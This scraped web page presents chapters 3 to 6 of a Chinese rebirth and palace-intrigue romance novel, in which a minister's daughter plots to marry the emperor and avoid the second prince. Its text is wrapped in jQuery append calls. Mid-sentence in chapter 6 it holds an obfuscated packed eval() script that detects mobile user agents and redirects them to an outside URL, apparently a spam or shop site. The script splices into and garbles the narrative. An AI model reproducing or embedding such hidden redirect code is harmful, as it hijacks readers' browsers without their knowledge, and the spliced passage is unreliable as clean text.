$(''.inform'').remove(); $(''#content'').append('' 意,但现在她想提前将这件事查清楚,以备不时之需。 闻仲年心底仍是各种疑虑,但看闻雪英严肃的神色,他又不敢不慎重待之。 他沉思片刻,随后郑重道:“这事为父会派人去查,只是嫁给陛下一事,你还是再考虑考虑吧。” 他起身走近闻雪英,慈爱地摸了摸她的头顶道:“就算为父同意,只怕你也很难嫁给陛下。” 闻雪英咬了咬唇瓣,想到如今只有一个孙贵妃的后宫,觉得这事恐怕还真有些难。 陛下曾有过两任妻子,敬德皇后与仁献皇后,两人分别为陛下生下大皇子与二皇子,只是这两位皇后命不好,都死在了陛下称帝前。 如今后宫的那位孙贵妃,据说是遵从敬德皇后的遗愿才娶的。 敬德皇后诞育大皇子时伤了身子,短短一年后便撒手人寰。 她死后留下一封信,信上说自己福薄,不能与陛下长相厮守,希望陛下能娶自己的妹妹为妻,好让她的妹妹代替她陪伴陛下。 个中细节闻雪英依旧不甚清楚,总之陛下最后随了敬德皇后的遗愿,娶了她的妹妹,给了其贵妃的位分。 虽没有册封为皇后,然而这些年陛下的后宫始终只有孙贵妃一人,倒也跟皇后大差不差了。 这几年朝臣也曾多次提出希望陛下开办选秀,扩充后宫,但陛下似乎并不热衷于此,始终不曾松口让内庭司选秀。 这样想来,她要嫁给陛下,还真是有些难度。 但总要去尝试,因为她实在没有其他选择。 闻仲年见她坚持,想要说什么,最后却是欲言又止地转开话题:“嫁给陛下的事,以后再说,很晚了,你早些睡吧,一切,等为父查清楚大皇子身世一事再做定论。” 闻雪英点了点头,唤来鞠衣送闻仲年出去。 刚刚经历了死亡,闻雪英也感到身心俱疲,无论要做什么,总得先养足了精神。 * 闻仲年回到房中时,钱晚宁正靠在床头打瞌睡。 见他进来,钱晚宁醒了神,一边下地服侍闻仲年更衣,一边问道:“跟雪英聊过了?” 闻仲年点了点头,“啧”了一声道:“这孩子有些不对劲。” 钱晚宁皱着眉,语气亦是担忧,“是啊,她今日哭得那么伤心,几乎疯了般让我一定要拦住你,我当时真是被吓了一跳,她跟你都说什么了?” 闻仲年想到不久前女儿告诉他的关于大皇子的事,迟疑片刻还是没跟钱晚宁讲,只提了她想要嫁给陛下一事。 钱晚宁闻言一愣,吃惊道:“不是昨日才说想嫁给二皇子吗?” 闻仲年摊了摊双手,神情尽显无奈。 钱晚宁沉思片刻道:“入宫为妃到底不是什么好事,你可得想清楚了。” “那是自然,我也不舍得让她入宫,只是……哎,她的性子你又不是不了解。” 从小到大,想要的东西想做的事,从来没有人能阻止。 闻仲年摇了摇头,心中万分苦恼。 4. 第 4 章 亳州距离京城路途遥远,闻仲年派出的人脚程就算再快,也得一个月左右的时间才能带回消息来。 一个月,若是寻常也就慢慢过了,但如今闻雪英心里装着事,总觉得度日如年,尤其闻仲年始终未曾松口同意她嫁给陛下。 “爹,再向陛下提一次选秀吧。”这日午后,闻雪英来到闻仲年的书房,再一次央求道。 洪庆帝的三个孩子虽已成年,但他本人的年纪倒也算不得十分老,闻雪英相信有不少朝臣都想让自家的女子入宫为妃,只要父亲提一句,定会有许多朝臣附和,到时候群臣请愿,洪庆帝想来不会再以战事未歇为由拒绝选秀。 只要选秀,她就有十足的把握入宫。 入了宫,才会有无限可能。 然而她如今竟被困在了第一步…… 闻仲年放下看了一半的公文,无奈道:“你以为选秀的事没人跟陛下提吗?毫不夸张地说,几乎每隔一个月,便有朝臣向陛下提出选秀的建议,可陛下每次都置之不理啊。” 臣子们说别的事陛下听得极为认真,但只要一有人提到“选秀”二字,无论何时何地,陛下“倒头就睡”。 臣子们哪敢搅扰陛下“美梦”,只得“黯然神伤”地将话给咽了回去。 闻仲年整理着案上公文,继续道:“前几日还有人提了呢,结果你猜这回陛下作何反应?” 闻雪英上前替闻仲年捏着双肩,好奇道:“陛下又睡着了?” “不是,哈哈……”闻仲年想起这回陛下的反应便忍不住大笑。 那日提起选秀一事的还是都察院左都御史刘显。 这位刘大人今年已有六十九岁高龄,是洪庆三年的进士,后经当今陛下赏识。被封为都察院御史。 自他上任以来,弹劾朝臣的折子没见几道,便是隔三差五地上书恳请陛下选秀。 陛下或许是看他年事已高,甚少对他加以斥责,但这回陛下估计是忍耐到了极限,那日刘大人再度提及选秀,陛下被气得冷笑一声,当着满朝文武的面就道:“刘显,朕听闻你早年家贫,又一心放在科考之上,蹉跎多年至今尚未娶妻,朕不忍你一把年纪独守空闺,今日就赏赐你几门婚事吧。” “几门婚事?”闻雪英听得好奇。 闻仲年继续道:“陛下仁德,当年称帝后并未将李朝皇帝的后妃赶尽杀绝,他下令有想离宫者便可自行离去,那些无家可归亦或是不想离宫的,这些年也一直被奉养在后宫之中。这回陛下一口气就从那些后妃当中挑选了五名与刘显年纪相仿之人,下旨让刘大人迎娶回府。” 闻雪英:“……” 然后陛下姿态闲散地靠在龙椅上,环视着下头的群臣们,慢条斯理地问:“选秀一事,你们谁还有意见?” 闻仲年白了一眼自家女儿,道:“你说这个节骨眼上,谁敢再提选秀一事?” 保不齐就要被陛下再硬塞几个女人了。 听完父亲的话,闻雪英觉得好笑又惆怅。 陛下这一招,可真是够狠的。 只是由此也看得出,陛下对选秀一事,当真是没半点兴趣。 闻雪英不禁怀疑,陛下莫不是对女人已经失去了兴趣,亦或是有什么隐疾? 这样想着,闻雪英顿时觉得头疼不已,未来要做的事,恐怕比想象中还要难上几分。 但,她不会后退。 * 父女二人又闲聊了几句,鞠衣走进来道:“老爷,小姐,刚夫人派人来传话,说是茉阳郡主听闻小姐身体有恙,特登门探望,不知小姐要不要见一见?” “茉阳郡主?”闻雪英乍听到这个名号,一时还没想起茉阳郡主是谁。 鞠衣提醒道:“小姐,茉阳郡主是仁献皇后的侄女,半年前与咱们在城外驿站有过一面之缘。” 闻雪英微微一愣,思绪回到半年前。 那是她与靖桓宇相识的日子。 那日她自宁州回京,行至京都外的最后一个驿站时天色很晚了,连日的奔波赶路,闻雪英觉得疲累,也心疼随护的侍卫们疲惫,便下令在驿站歇息一晚,第二日再继续赶路。 那驿站距离京都大门不过几十里,原以为不会有什么风险,谁知睡到半夜,外头突然就响起了兵器相撞之声。 闻雪英和鞠衣琥珀主仆三人被惊醒,混乱中得知驿站还住了一个商队,因此招致了山匪打劫。 琥珀取出腰间缠绕的长鞭,不可思议道:“哪里来的山匪这么大胆,敢在此处行凶?” 她一边疑惑着,一边和鞠衣两人带着闻雪英从驿站后门而出,没成想驿站的后门也被山匪给围住了。 那些山匪人数颇多,本事也不小,鞠衣和琥珀既要与他们打斗,又要分神护着手无缚鸡之力的闻雪英,没几个回合两人就败下阵来,身上也带了伤。 琥珀啐了一口骂道:“天杀的,难道今日咱们要交代在这儿不成?” 鞠衣冷静道:“别说这种丧气话,无论如何要护好小姐。” 当时的情况实在紧急,眼看着一批又一批山匪围了上来,闻雪英惊慌失措,浑身抖如筛糠。 她们主仆三人在驿站后门与山匪周旋了约摸一刻钟,前院的护卫始终不曾出现,闻雪英心想多半那些护卫们早已遭遇不测,恐惧让她不由自主地流泪,几乎要开口让鞠衣和琥珀先走,想着能活一个是一个,总不能全交代在这。 就在这个令人绝望的时刻,突然有一道高大身影从天而降,他一把揽住闻雪英的腰,纵身一跃便将她带离了混战中心,仿佛从高空俯冲至地面捕食野兔的鹰隼,动作敏捷,不见拖泥带水。 脚底突然悬空,闻雪英的恐惧更甚,她惊呼一声,下意识就抱紧了身边的人,以至于那人已经带她落到了地面,闻雪英还是紧紧靠在他胸前,半晌不敢睁眼。 “来人,拿下他们。”头顶响起一道沉稳坚定的发号施令之声,接着又是温润的关切:“姑娘,你没事吧,有没有受伤?” 闻雪英意识到有人来救她们,她应该向这人道谢,可方才所受惊吓实在过大,她一时难以冷静,只是不停地喘着粗气。 救她的人似乎极有耐心,一下一下轻柔地拍着她的后背,一边细声安慰她:“姑娘,没事了,不过是些乌合之众,我的人已经将他们解决了。” 他轻拍自己后背的手掌仿佛带着巨大的魔力,闻雪英逐渐冷静下来,侧头瞥见鞠衣和琥珀的确已经收起了武器,正往她这边跑。 鞠衣和琥珀身上有血,也不知道是谁的血,闻雪英迎上去,心里担心急了。 好在两人信誓旦旦地告诉她都是些小的皮外伤,一会儿上点药就行,闻雪英稍稍安心,这才回神看向救她的人,这一看,闻雪英再度愣神。 眼前的男子身形高挑,眉目清秀,闻雪英看过去时,他正微笑,那笑容在火光与月光的印照下,耀眼夺目而又摄人心魄。 闻雪英觉得自己的心跳在那一瞬间停了。 “小姐,您自己没受伤吧?”鞠衣和琥珀的关怀声让闻雪英回了神,她忙低下头,微微福身道:“多谢公子出手相助,救命之恩,无以为报。” 顿了顿又低声道:“不知公子尊姓大名?” 男子正要开口,他的侍从这时提剑走了过来,“回殿下,山匪已全部伏诛。” 殿 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鞠衣和琥珀的伤闻雪英还是有些担心,能有个太医看看自然是好的,于是便道:“多谢二皇子。” 这时靖桓宇的侍从又跑了过来:“回殿下,属下派人将驿站彻底搜查了一遍,没有发现其他山匪。” 靖桓宇颔首表示知道了,又对闻雪英道:“闻姑娘,回去休息吧,今夜有我在,再不会有山匪了。” 皇子出行,身边的护卫定然会比她的护卫靠谱,闻雪英的确不再害怕。 鞠衣和琥珀陪着她回房,很快有太医过了替她们包扎了伤口,又嘱咐了几句保养事宜。 太医走后,闻雪英便让鞠衣琥珀赶紧休息。 鞠衣躺在床上睡不着,对闻雪英道;“小姐,二皇子怎么知道你是闻家的?” 小姐并没有自报名姓,二皇子便称呼她为闻姑娘,似乎有些可疑。 闻雪英当时全然没有多想,只含糊道:“或许是看了外头马车上的挂牌吧。” 前半夜经历了惊心动魄的生死逃亡,后半夜闻雪英睡得格外香甜。 那一夜她认识了二皇子靖桓宇,并对他一见倾心,以至于对鞠衣的怀疑完全不放在心上。 之后两人又在京都多次相见,以至于她对他情根深种,非他不嫁,是以才有了几日前她逼着父亲入宫求赐婚那一出。 若她当时还没有重生,便是前世家破人亡的下场。 如今细细想来,或许半年前驿站遭遇山匪一事,其中也是大有隐情。 靖桓宇或许从一开始就已经在算计着他们了。 闻雪英不愿在父亲面前失态,回忆到此处,她强撑着一抹微笑,对鞠衣道:“去告诉母亲,我换身衣裳就过去。” 这一世迄今为止,她与茉阳郡主统共只见了一面,便是半年前在驿站的第二日。 天亮后她出门见到靖桓宇身边站着一姑娘,旁敲侧击之后知道她是仁献皇后的侄女,靖桓宇的表妹。 靖桓宇正是去茉阳郡主的老家接她入京,夜晚路过驿站,这才碰巧救了闻雪英。 前世闻雪英与这位郡主并未有多少交集,更不曾发生过她登门拜访的事,如今她却来了,闻雪英觉得奇怪,再三斟酌后还是决定见上一见。 她心里有种预感,茉阳郡主骤然登门,十有八九与靖桓宇有关。 与靖桓宇有关的人和事,她其实根本不想沾染半分,然而前路未知,有些事,她不能不留个心眼。 就像今日这不请自来的茉阳郡主,闻雪英很想知道她来这儿的目的是什么。 5. 第 5 章 闻府前厅内,钱晚宁微微躬着身,从侍女手里接过一杯牛乳茶,恭敬道:“郡主,雪天寒凉,您喝杯热茶暖暖身吧。” 茉阳郡主端坐于上座,闻言皱了皱眉,继而朝自己的侍女使了个眼色,她的侍女便上前一步,含笑解释:“夫人客气了,只是我们郡主不大爱喝这牛乳茶。” 钱晚宁愣了愣,一时不知作何反应。 这茉阳郡主是陛下亲封,算是有些品级,她今日突然到访,钱晚宁不得不恭恭敬敬地招待着。 只是这郡主未免也太难伺候了。 钱晚宁尴尬地赔着笑,嘴上又问道:“不知郡主爱喝些什么,臣妇叫人去准备。” 茉阳郡主清咳了一声,她的侍女继续替她开口:“不必了,我们郡主是来见闻雪英的,还请闻夫人去将闻雪英叫出来。” 钱晚宁:“……” 这郡主,真是好大的架子,自踏入闻家大门,那尊口是一下都没舍得开,一切皆由侍女答话。 如此高高在上又不屑一顾的态度,钱晚宁心想她一来便指名道姓地要见雪英,多半不是什么好事。 但人家是郡主,她虽是朝廷一品大员的夫人,但老爷也说了,平日行事要低调,更别提这位还是二皇子的表妹,多少算得上皇亲国戚。 钱晚宁只好低声吩咐下人去告诉闻雪英一声。 闻雪英到前厅的时候,就发现母亲正满脸堆笑站在茉阳郡主跟前,茉阳郡主则满脸不耐地坐在太师椅上,仿佛母亲是她郡主府的下人一样。 闻雪英心下顿生不快,却还是噙着得体的笑迈了进去。 “臣女参见茉阳郡主,郡主万安。” 她行完了参拜礼,茉阳郡主这才抬了抬下巴,语气冷硬道:“免礼。” 闻雪英刚站直,就听她的侍女道:“郡主与闻雪英有话要说,其他人都退下吧。” 这个“其他人”自然是指的钱晚宁以及一众闻家下人。 闻雪英闻言眉头不由一皱,目光射向那开口的侍女,心中不由对这不怎么相熟的茉阳郡主生出几分厌烦。 她不请自来地跑到当朝一品大员的府中,还对一品大员的妻室如此地颐指气使,当真是可笑至极。 闻雪英忍不住,正要开口,钱晚宁经过她身边时轻轻碰了下她,递给她一个稍安勿躁的眼神。 闻雪英深吸一口气,将心头的怒火慢慢压了下去,随后淡淡道:“不知郡主有何指教?” 茉阳郡主没有立即回答,她将闻雪英从头到脚扫了一眼,边打量边发出了不屑的轻嗤声。 闻雪英只当没听见,依旧笑意吟吟地等着。 须臾,茉阳郡主终于打量够了,她出口便是质问的语气:“本郡主问你,三日前贵妃娘娘遍邀京中闺秀入宫赏梅,你为何没去?” 没去,自然是不想去。 这场踏雪赏梅的盛事闻雪英记得,前世父亲去求了陛下,陛下便是在三日后贵妃举办的赏梅会上亲口赐的婚。 贵妃虽邀请的京中闺秀,但两位皇子那日皆有出席,中途陛下竟也来了。 他一来就将闻雪英叫上前,问了几句话,接着就当场赐了婚。 这一世父亲虽未求赐婚,但赏梅会上靖桓宇必定会出现。 这样的场合,闻雪英自然是离得越远越好。 不过这个中原因不能为外人道,面对茉阳郡主莫名其妙的质问,闻雪英只好浅笑着道:“回郡主,臣女前几日感染了风寒,怕将病气带给宫中贵人,这才没去。” 茉阳郡主听罢微微一顿,闻雪英正好奇她为什么要问自己这个问题,就听她又道:“你们的借口都一样,真不知道表哥为什么要我来看看你们。” 她说完就起了身,自顾自地往外走,看样子是打算离开。 闻雪英心脏一痛,震惊过后忙追了上去,低声问道:“郡主,您是说是二皇子让您来问我的?” 茉阳郡主脚步一顿,接着白了她一眼,没说话,飞快地离开了闻府。 钱晚宁一直在侧厅守着,见茉阳郡主要走,她又忙不迭将人给送到大门口,这才匆匆折返回来。 “雪英,茉阳郡主找你是为了何事?” 闻雪英不愿让母亲担心,闻言摇了摇头,道:“没什么,就是问我三日前怎么没入宫赏梅。” 钱晚宁只当她与茉阳郡主有几分交情,便也没多想,闻雪英笑了笑,借故离开。 回自己房间的路上,闻雪英一直想着茉阳郡主最后的那句话,她说得很明白,是二皇子让她来问自己为何没入宫赏梅。 这件事让闻雪英猛然醒悟过来,光是她阻止父亲去求赐婚,主动远离靖桓宇还不够,靖桓宇若是想得到父亲背后的势力,他必然会想办法娶她。 闻雪英咬了咬唇,暗道她怕是没时间等到父亲派去亳州的人回来了,她得在靖桓宇有所行动前,先一步成为陛下的人。 但具体要如何去做,闻雪英却是全无头绪。 陛下上回给提出选秀的刘御史赐了五个妻妾,想必没人再敢冒险开口,闻雪英也不敢再求闻仲年,万一陛下恼羞成怒,让她爹也娶几个前朝嫔妃可该如何是好? 闻雪英让下人给她搜罗了许多才子佳人相遇相爱的话本,试图从那上面找寻到一丝灵感。 既然选秀这条路走不通,不如就想其他法子。 她不在乎是怎样的方式,只要结果是她想要的。 然而那一本本话本一一翻过去,闻雪英悲哀地发现,她能嫁给陛下的唯一办法,只有选秀。 陛下长居宫中,她是官家小姐,两个人根本没有任何交集的可能,因此无论什么计谋,根本没有施展的可能性。 她就算想抛弃脸面,豁出去□□陛下都没有机会。 闻雪英烦躁至极,将手里的话本扔了出去,险些砸到刚进门的琥珀。 琥珀挠了挠头,将话本捡起放好,小声道:“小姐,近日您总是闷闷不乐的,是有什么心事吗?” 闻雪英摇了摇头,问道:“让你办的事怎么样了?” 琥珀回道:“小姐,这几日我一直按您吩咐的暗中盯着二皇子,除了那日入宫参加贵妃举办的赏梅会,二 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闻雪英若有所思,沉吟片刻道:“琥珀,你继续盯着二皇子,小心别被发现了。” 琥珀虽不明白自家小姐为何突然让她监视一个皇子,但她还是拍了拍胸脯道:“小姐放心,要是被发现了我就跑,没人能跑得过我。” 琥珀的轻功乃是一绝,闻雪英相信京中无人能追得上她,当然她也并不担心琥珀会被二皇子发现,她继续嘱咐道:“要是被发现了也没关系,你便大大方方的亮明身份,到时候我自有应对的法子。” 主仆两又说了几句话,钱晚宁派人来叫她去一起用膳,闻雪英便去了饭厅。 她和钱晚宁以及闻雪琼闻雪洲四人坐定,就等着闻仲年回家后开动,只是这一日闻仲年迟迟未见回府。 往常他最晚不过酉时就回家,但这回母子四人一直等到将近子时仍不见他人影。 闻雪琼和闻雪洲熬不住,钱晚宁吩咐奶娘丫鬟带他们下去先安置,她和闻雪英继续等。 期间也派了人去宫门处打探,可深宫森严,什么消息也问不出来。 “这往常要是公务未忙完,他都会派人回来说一声,今日这是出什么事了啊?” 钱晚宁急得红了眼,几次三番要去大门口等人,闻雪英也担心得紧,但她还是强撑着道:“母亲,您得冷静下来,府上这么多人呢,您若是乱了阵脚,其他人怕是要慌不择路了。” 她顿了一顿,继续道:“父亲或许是忘了派人通知咱们呢,再等等看吧。” 这一等,便等到了后半夜,闻仲年才盯着满头寒霜回了府。 人还是齐全的,只不过脸色很差。 闻雪英心下一凛,试探道:“爹,出什么事了?” 闻仲年舔了舔干裂的嘴唇,叹口气道:“敬德皇后母家在亳州的老宅,不知何故失了火,府上的奴仆无一幸免,全部葬身于火海之中了。” “什么?” 6. 第 6 章 冬夜归来,闻仲年被冻得脸色发青,眉毛与发根处都结了白白的一层霜。 钱晚宁端来早就温好的姜汤,伺候他喝下。 眼见闻仲年的脸色渐渐恢复正常,这才细细地问他到底是怎么回事。 他坐下缓缓道:“十日前的事了,亳州知府派人快马加鞭,消息今日才传到京中。” “若死的只是几个老仆陛下估计也不会那么动气。” 闻雪英道:“还有谁死了吗?” “周国公及其夫人。” 话落闻雪英动作一僵,有些不敢置信。 周国公乃是敬德皇后的父亲,陛下称帝后赐国公爵位,他的夫人也是敬德皇后的生母。 闻雪英见过他们一回,依稀记得这两位老人皆头发花白,年事已高。两人本该是颐养天年直到终老,怎么会发生这种事? 闻仲年又喝了几口热茶,将冰冷的双足浸泡入暖烘烘的热水中,他舒了口气继续道:“敬德皇后的双亲年事已高,京中冬日天气颇为寒冷,老人家受不住,因此秋末的时候就回了亳州小住,打算明年开春再回来,没想到,哎……” 闻雪英听罢觉得匪夷所思,“好端端的,宅子怎么会失火,难道都没人发现吗?” “总之就是很蹊跷,按理说那是敬德皇后母家旧宅,加之陛下年轻时也曾住过一段时日,说是潜龙邸也不为过,亳州的官员也一向小心护着,发生这样的事实在不该,更别提还搭进去了敬德皇后双亲的命。” 那二老如今也算是皇亲国戚了呀。 陛下震怒至极,下令刑部和大理寺派人去亳州严查此事,连同亳州当地大大小小的官员,陛下也下令暂时收押大牢,等待下一步处置。 “总之今日朝上乱哄哄的,陛下险些下令即刻砍了亳州知府的头,亳州知府毕竟是爹的门生,爹不能眼睁睁看着他被杀了。” 陛下倒是愿意开恩,不过他勒令闻仲年今日之内就给他出一个关于赈济雪灾的章程来,一来二去的,闻仲年就忘了派人回来通知一声,最后耽搁到这个时候才从宫里出来。 还好明日他休沐,否则连觉也不用睡了,现在就该巴巴地进宫继续上朝了。 闻仲年实在累极,随意用了两口饭食,钱晚宁就服侍他睡了,闻雪英一个人回到房间,久久没有困意。 推算时间,父亲派去亳州的人如今还在路上,这一把火,怕是将亳州孙家的旧宅烧得一干二净,大皇子身世一事,估计很难查证了。 闻雪英百思不得其解,孙宅的这场大火,到底是有人蓄意为之,还是巧合? 若说巧合却也实在站不住脚,那么大个宅子,就算失火也不会瞬间燃尽,总有人能跑出来。 但若是蓄意为之,谁又有这样的动机? 她思来想去,似乎这件事导致的直接后果,只对大皇子有利,如此一来,知晓大皇子身世的人似乎一下子少了好几个,他身世曝光的危险也就少了几分。 可,眼下大皇子应该也不清楚自己的身世才对。 那到底是何人所为? 闻雪英翻了个身,想到睡意沉沉也还是没个头绪。 * 冬日的夜晚格外冷清,京城的各处宅院都熄了灯,人们都蜷缩在暖烘烘的被窝里,没人发现有一道黑色的影子,悄无声息地在屋顶穿梭,片刻后落到了一处雕栏玉砌的院子前。 影子学了几声猫叫,屋内很快亮起了灯。 他进入屋内,隔着屏风跪下。 屏风后的人道:“事情都办妥了吗?” “您放心,一切妥当。” “那个厨娘呢?送走了吧?” “送走了,没人会查到您的头上。” “那就好,你退下吧。” “是。” * 闻雪英这一夜睡得并不安稳,时常被噩梦惊醒,反倒是天亮后才睡沉,然而琥珀很快就将她摇醒。 她揉了揉胀疼的眼睛,瓮声道:“琥珀,让我再睡会儿。” 闻家没有那么多规矩,不用她每日晨昏定省,前世闻雪英未出阁前,几乎每日都睡到自然醒。 若是没什么事,琥珀也不愿扰了她清梦,实在是事态紧急。 “小姐小姐,快别睡了,二皇子来了咱们府,说想见你一面。” 琥珀这句话霎时将闻雪英的瞌睡虫轰得一个不剩,她倏然睁眼,几乎是从塌上弹了起来。 “你说什么,谁想见我?” 琥珀眉头紧皱,低声道:“是二皇子,已经来了有一会儿了,现下老爷正陪着,不过他指明了要见小姐你,老爷也不好拒绝。” 闻雪英神情呆滞地望着琥珀,只觉得骨头缝里都流淌着一股恶寒之感,她觉得有些喘不上气来,像是有一只冰冷的手紧紧攥住她的心脏。 琥珀被她突如其来的样子吓了一跳,一叠声地问她“怎么了”,可闻雪英说不出话来。 前世关于靖桓宇所有的记忆在这一刻全部涌入脑海。 初识时的情窦初开,嫁给他后的夫妻情深,还有后来的深仇血恨…… 闻雪英用力掐着自己手心,□□的疼痛让她缓缓回了神,她慢慢呼吸着,下了地走向妆台。 琥珀茫然地看着她。 再开口时,闻雪英的声音已然沉着冷静:“快些替我梳妆打扮,别叫二皇子等急了。” 自半年前她与靖桓宇在城外驿站相识,之后两人又机缘巧合地见了好几回。 她并非是那种一厢情愿之人,实是她也感受到了二皇子待她与别人不同,加之二皇子曾不止一次向她暗示,他的婚事他做不了主,因为身份的缘故,他不好主动向陛下求娶任何一家的女子。 这才发生了前世她逼迫父亲去向陛下求赐婚旨意的事。 也就是说,这个时候的她和二皇子,两人之间其实已经心照不宣了。 可是自她重生后,她便一直躲在家中,拒绝去任何有可能见到二皇子的场合。 闻雪英猜测自己的避而不见,约摸是给二皇子带来了一定的危机感,所以他才会让茉阳郡主上门打探,今日更是不惜亲自驾临闻府。 一味的躲避似乎也不是办法,若是叫靖桓宇察觉到了什么,反而会引起不必要的麻烦。 闻雪英深吸一口气,慢慢冷静下来。 见就见吧。 * 穿戴整齐后,闻雪英咬了咬牙,起身往前厅而去。 靖桓宇自然是坐在主位之上,闻仲年坐在一旁下首,两人似乎在商讨着什么,闻雪英转过回廊,远远瞧见靖桓宇微微朝闻仲年倾身,神态间是一副认真倾听的模样。 闻雪英步子滞了滞,随即抬起头走了进去。 迈进门槛,她坦然地看向靖桓宇,靖桓宇亦看向她。 目光相触后,闻雪英唇角弯了弯,接着按规矩行礼。 没等她的膝盖弯下去,靖桓宇便起身朝她走了过来,扶着她的手臂止了她行礼的动作:“你我之间,不必多礼。” 闻雪英微微一颤,感觉有巨大的冷意,从他触碰的地方渗入,传遍她的四肢百骸。 她咬了咬牙,迅速调整好自己的表情,抬头朝他微微笑着,眼神若有似无地瞥向一旁起身的闻仲年。 靖桓宇明白她的示意,收回手往后退了退,与她拉开距离,随即转身对闻仲年道:“闻相,可否让我与闻小姐单独说两句话?” 皇子的请求,闻仲年自然没有拒绝的余地,但他也实在不想自己女儿与二皇子有什么瓜葛。 今日二皇子突然登门,直言想要见女儿一面,他委婉地拒绝了几次,但二皇子始终不为所动,一副不见到自家女儿绝不离开的模样。 闻仲年也实在是没有办法,这才叫人去通知闻雪英。 但见归见,独处却是不行。 闻雪英见父亲打算开口,忙趁靖桓宇不注意朝父亲使了个让他安心的眼色,闻仲年迟疑片刻,随后才不放心地退了出去。 厅内只剩下了闻雪英和靖桓宇。 闻雪英低着头不说话,做出一副小女儿羞赧模样。 靖桓宇一时也没说话,但闻雪英能感觉到他正盯着自己。 须臾,他开口,带着几分探究之意问:“听说你前几日感染了风寒,如今可痊愈了?” 问这话时,靖桓宇顺手便将闻雪英交握的双手牵住,闻雪英下意识一抖,又强迫自己镇定,轻声回道:“已经好了。” 靖桓宇轻笑一声,语气颇有些遗憾:“那日孙母妃举办赏梅宴,我本来想让父皇看看你,没想到你因病未至。” 闻雪英抬眸:“让陛下看看我?” 他望着她眼神里满是深情,“我想寻个合适的机会,求父皇将你赐婚于我,在此之前,总得让他先见见你吧。” 这句话一出,闻雪英觉得自己的心跳仿佛停了一瞬,身子也被他吓得一软。 她不由自主地咽了口唾沫,心道得亏自己没去。 靖桓宇察觉她的颤抖,拧眉道:“风寒不是已经好了吗?还有哪里不舒服吗?” 闻雪英摇了摇头,努力挤出一抹笑,“可你不是说,你的婚事不由你,全由陛下做主吗?” 靖桓宇看着她,温和地笑了笑道:“为了娶到我喜欢的女子,我总要去求一求父皇,兴许他就会答应我呢。” 他顿了顿,俯身压低声音在闻雪英耳边道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13059259|137652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就算父皇不应允,我也有别的办法。” 他的声音明明很温柔,可闻雪英只觉得那像是毒蛇一样,猝不及防地蹿进她耳中,毒液丝丝渗进她的血肉骨髓之中。 她脸上的笑快要维持不住:“你有什么办法?” “先不告诉你。”靖桓宇将她的双手放在他的胸前,认真道:“我只问你,愿不愿意嫁给我?” 闻雪英不想回答,她感受着他胸腔里强有力的跳动,脑海中想的是前世她用匕首刺杀他那一幕。 她有些黯然,当时应该对准他的心口刺下去的。 靖桓宇见她发愣,脸上的笑收敛了几分,他不确定地追问:“你难道,不喜欢我吗?” 闻雪英不想回答,却不敢不回答,她只好再度佯装羞涩地低下头,用一种娇滴滴的嗓音道:“我愿不愿意,你还不清楚吗?不过,你打算什么时候去求陛下?” 她听见靖桓宇舒了口气,接着道:“怕是得等到年后了。” 闻雪英觉得自己冰冷的身体又开始回温了。 她轻轻呼出一口气,就听靖桓宇继续道:“昨夜闻相那么晚才回府,想必你也听说了亳州发生的事,父皇让我去亳州调查此事,估摸着年后才能回京,我尽量赶在元宵前。” 那真是太好了!闻雪英忍不住在心里高呼呐喊,然而面色还是如常,她不欲与他就求陛下赐婚一事说太多,便转开话题道:“陛下怎么会让你去?我以为会让大皇子去。” “周国公及其夫人,到底是亲自抚养皇兄长大的,皇兄对他们格外敬爱,这次两位老人不幸殒命,皇兄悲痛不已,父皇许是怕他不够冷静,这才让我去亳州吧。” 闻雪英点了点头,心道他离开京都一段日子也好,否则她也没办法一边想办法嫁给陛下,一边还要分出精神应对他。 想到此处,她抬头,情意绵绵地看着靖桓宇,柔声道:“那你一路小心,我等你回来。” “好。” 靖桓宇没再等闻仲年,闻雪英为了让他坚信自己对他情深似海,依依不舍地送他到门口,又目送他的身影远去。 “小姐,你很冷吗?二皇子已经走远了,咱们快进去吧。” 琥珀的声音让闻雪英回了神,她迷惘地看向琥珀,琥珀搂着她道:“你在发抖。” “是吗?”闻雪英嘴角微微上扬,一开口才发现自己的声音颤得厉害。 牙齿不停地往一起磕碰,琥珀又惊又吓,搂着闻雪英就往回走。 “回去烤烤火就不冷了。” 但闻雪英知道,她不是冷,而是怕。 怕无力改变命运。 “鞠衣快回来了吧?”回到自己屋里,熟悉的环境让她渐渐放松下来。 琥珀用一张又厚又软的毯子将她紧紧裹住,又往她怀里塞了两个暖手炉,闻雪英鼻尖冒出了细密的汗珠。 听到她的问话,琥珀蹙眉想了想,道:“应当没这么快,今冬雪多,路本来就不好走,今儿个都二十了,怕是很难赶在除夕前回来。” 闻雪英轻轻“哦”了一声,眼神暗了暗。 正说着,闻仲年来了,闻雪英使眼色示意琥珀先出去。 闻仲年见她脸色红扑扑的,紧绷的脸色舒展开来,“二皇子跟你说了什么?” 闻雪英如实道:“他说等他从亳州回来,便会向陛下求娶女儿。” 闻仲年脸色一僵,顿了顿宽慰地笑道:“陛下不一定会同意。” 闻雪英道:“万一陛下同意了呢?” 靖桓宇说,他有别的办法,闻雪英不敢冒这个险。 她接着道:“万一陛下赐婚了,您难道要抗旨吗?” “抗旨”二字一出,闻仲年几乎是条件反射般地立即回道:“自然是不能抗旨。” “那您是想让女儿嫁给二皇子了?”闻雪英的声音突然提高了几分,“无论女儿愿不愿意?” 闻仲年被她吓了一跳,下意识就道:“可你不是喜欢二皇子的吗?” 尽管她说了不想嫁二皇子,可今日见她在二皇子跟前的模样,闻仲年认为她心里还是喜欢二皇子的。 闻仲年的这一声反问,让原本因为父亲不帮她而有些微恼的闻雪英冷静下来。现在的一切,都是她招惹来的,如果她与靖桓宇保持距离,兴许一切都不会发生。 她怔怔地望着闻仲年,渐渐红了眼眶。 闻仲年一惊,顿时有些手忙脚乱。 他上前笨拙地替闻雪英擦着眼泪,一边说着软话:“爹错了爹错了,雪英不哭了啊。” 